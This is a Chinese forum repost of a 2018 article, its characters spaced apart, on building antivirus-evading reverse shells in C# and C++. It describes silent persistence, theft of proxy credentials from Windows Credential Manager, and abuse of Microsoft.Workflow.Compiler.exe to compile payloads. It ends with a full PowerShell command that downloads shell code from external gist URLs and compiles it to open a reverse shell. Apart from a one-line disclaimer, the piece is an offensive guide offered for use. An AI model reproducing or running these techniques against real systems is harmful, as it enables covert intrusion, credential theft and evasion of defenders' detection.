搜索

[13556] 2018-12-21_教你如何开发不可检测的C#、C++反向Shell

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-12-21_教你如何开发不可检测的C#、C++反向Shell 教 你 如 何 开 发 不 可 检 测 的 C # 、 C + + 反 向 S h e l l A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 1 2 - 2 1 本 文 仅 用 于 技 术 讨 论 ， 严 禁 用 于 不 法 用 途 。 本 文 仅 用 于 技 术 讨 论 ， 严 禁 用 于 不 法 用 途 。 在 这 篇 文 章 中 ， 我 将 跟 大 家 分 享 如 何 利 用 在 这 篇 文 章 中 ， 我 将 跟 大 家 分 享 如 何 利 用 C # 和 和 C + + 来 开 发 反 病 毒 产 品 无 法 检 测 到 的 反 向 来 开 发 反 病 毒 产 品 无 法 检 测 到 的 反 向 S h e l l 。 。 简 单 的 简 单 的 C # 反 向 反 向 S h e l l G i t H u b 上 有 很 多 能 够 通 过 c m d . e x e 打 开 反 向 S h e l l 的 C # 代 码 样 本 。 在 这 篇 文 章 中 ， 我 会 从 G i t H u b 上 借 鉴 部 分 代 码 ， 然 后 用 到 了 下 面 这 个 C # 程 序 中 。 这 个 程 序 不 能 绕 过 A V ， 没 有 混 淆 代 码 ， 它 能 做 的 只 有 “ 在 目 标 设 备 上 打 开 s o c k e t ， 启 动 c m d . e x e ” ：
源 码 链 接 ： 【 G i t H u b 传 送 门 】 我 用 n e t c a t 开 启 了 监 听 模 式 （ 端 口 4 4 3 ） ， 然 后 编 译 并 执 行 我 的 代 码 。
你 可 以 看 到 ， . e x e 文 件 通 过 了 W i n d o w s   D e f e n d e r 的 检 测 ， 说 明 从 A V 的 角 度 来 看 ， 它 不 会 执 行 任 何 恶 意 操 作 ， 这 也 是 正 常 的 扫 描 结 果 。 执 行 文 件 之 后 ， 你 将 会 看 到 命 令 行 窗 口 ， 关 闭 窗 口 之 后 S h e l l 也 就 终 止 运 行 了 。
运 行 e x e 文 件 之 后 ， 会 直 接 在 我 的 K a l i 上 生 成 S h e l l 。 V i r u s T o t a l 检 测 结 果 检 测 结 果 检 测 报 告 ： 【 点 击 阅 读 原 文 获 取 】 C + + 反 向 反 向 S h e l l + 一 定 程 度 的 持 续 感 染 一 定 程 度 的 持 续 感 染 搜 索 片 刻 之 后 ， 我 发 现 了 一 份 有 类 似 反 向 S h e l l 功 能 的 C + + 代 码 。 而 且 我 还 找 到 了 @ N i n j a P a r a n o i d 的 代 码 ， 他 的 代 码 可 以 开 启 一 个 反 向 S h e l l ， 而 且 还 有 一 定 的 持 续 感 染 特 性 【 参 考 资 料 】 。 这 个 脚 本 有 三 个 主 要 优 势 ： 1 、   w h i l e 循 环 可 以 每 5 秒 尝 试 重 连 一 次 ； 2 、   不 可 见 的 c m d 实 例 ； 3 、   如 果 标 准 攻 击 者 I P 发 生 变 化 ， 可 自 动 获 取 新 参 数 ；

这 份 代 码 所 要 做 的 事 情 游 走 于 “ 恶 意 ” 与 “ 合 法 ” 之 间 ， 但 是 W i n d o w s   D e f e n d e r 检 测 为 “ 无 威 胁 ” 。 当 你 运 行 这 个 文 件 之 后 ， S h e l l 将 会 在 5 秒 钟 之 后 以 “ 静 默 模 式 ” 打 开 。 对 于 用 户 来 说 ， 屏 幕 上 啥 也 不 会 出 现 ， 但 如 果 出 现 了 问 题 ， 后 台 进 程 每 5 秒 就 会 尝 试 自 动 重 连 我 的 K a l i 。
V i r u s T o t a l 检 测 结 果 检 测 结 果 检 测 报 告 ： 【 点 击 阅 读 原 文 获 取 】 使 用 代 理 凭 证 通 过 网 络 开 启 使 用 代 理 凭 证 通 过 网 络 开 启 C # 反 向 反 向 S h e l l 在 研 究 如 何 利 用 代 理 凭 证 并 通 过 互 联 网 从 一 个 内 部 企 业 网 络 中 打 开 反 向 S h e l l 时 ， 我 开 发 出 了 下 列 代 码 ： 1 、   结 合 p e e w p w 脚 本 在 没 有 管 理 员 权 限 的 情 况 下 从 凭 证 管 理 器 中 导 出 代 理 凭 证 ； 2 、   对 导 出 的 凭 证 进 行 B a s e 6 4 编 码 ； 3 、   将 它 们 插 入 到 代 理 认 证 链 接 中 ；
在 编 译 代 码 之 前 ， 你 需 要 目 标 企 业 网 络 开 启 代 理 I P / 端 口 。 出 于 安 全 考 虑 ， 我 不 会 直 接 发 布 源 码 ， 如 果 你 有 一 点 编 程 能 力 的 话 ， 我 相 信 你 可 以 自 己 搞 定 。 观 察 之 后 我 发 现 ， 这 种 攻 击 的 失 败 率 非 常 高 ， 因 为 目 标 用 户 可 能 不 会 在 凭 证 管 理 器 中 存 储 域 凭 证 。 当 然 了 ， W i n d o w s   D e f e n d e r 和 其 他 企 业 级 A V 解 决 方 案 都 无 法 检 测 这 种 攻 击 方 式 。 通 过 通 过 C # 与 与 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e 即 时 编 译 打 开 反 向 即 时 编 译 打 开 反 向 S h e l l 在 研 究 过 程 中 ， 我 找 到 了 几 篇 关 于 如 何 在 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e 中 执 行 任 意 未 签 名 代 码 的 文 章 ， 所 以 我 想 用 这 种 技 术 来 开 启 我 的 反 向 S h e l l （ C # ） 。 简 而 言 之 ， 为 了 即 时 编 译 我 的 C # 代 码 ， 我 需 要 使 用 到 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e 服 务 。 下 面 是 命 令 样 本 ： R E V . t x t 的 X O M L 结 构 如 下 ：
下 图 中 包 含 待 编 译 C # 代 码 的 原 始 结 构 （ R e v . S h e l l 代 码 ） ： 运 行 命 令 之 后 ， 会 发 生 下 面 几 件 事 情 ： 1 、   非 无 文 件 型 ： C # 源 代 码 需 要 从 R e v . S h e l l 文 件 中 获 取 ； 2 、   无 文 件 型 ： C #   P a y l o a d 会 被 编 译 并 执 行 ； 3 、   无 文 件 型 ： P a y l o a d 开 启 反 向 S h e l l ；
通 过 通 过 P o w e r S h e l l 和 实 时 编 译 和 实 时 编 译 C # 开 启 反 向 开 启 反 向 S h e l l 这 都 很 简 单 ， 直 接 把 文 件 交 给 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e 来 编 译 ， 那 我 们 为 什 么 不 用 P o w e r S h e l l 来 实 现 呢 ？ 请 看 ： 运 行 命 令 之 后 ， P S 将 会 下 载 上 述 的 两 份 文 件 ， 然 后 存 储 在 文 件 系 统 中 。 接 下 来 ， 它 们 会 使 用 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e 来 实 时 编 译 C # 代 码 ， 并 开 启 反 向 S h e l l 。 P o w e r S h e l l 命 令 ： 【 点 我 获 取 】 R E V . t x t 代 码 ： 【 点 我 获 取 】 R e v . S h e l l 代 码 ： 【 点 我 获 取 】 p o w e r s h e l l - c o m m a n d   " &   {   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / B a n k S e c u r i t y / 8 1 2 0 6 0 a 1 3 e 5 7 c 8 1 5 a b e 2 1 e f 0 4 8 5 7 b 0 6 6 / r a w / 8 1 c d 8 d 4 b 1 5 9 2 5 7 3 5 e a 3 2 d f f 1 c e 5 9 6 7 e c 4 2 6 1 8 e d c / R E V . t x t ' , ' . R E V . t x t ' )   } "   & &   p o w e r s h e l l   - c o m m a n d   " &   {   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / B a n k S e c u r i t y / f 6 4 6 c b 0 7 f 2 7 0 8 b 2 b 3 e a b e a 2 1 e 0 5 a 2 6 3 9 / r a w / 4 1 3 7 0 1 9 e 7 0 a b 9 3 c 1 f 9 9 3 c e 1 6 e c c 7 d 7 d 0 7 a a 2 4 6 3 f / R e v . S h e l l ' , ' . R e v . S h e l l ' )   } "   & & C : W i n d o w s M i c r o s o f t . N e t F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e R E V . t x t   R e v . S h e l l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理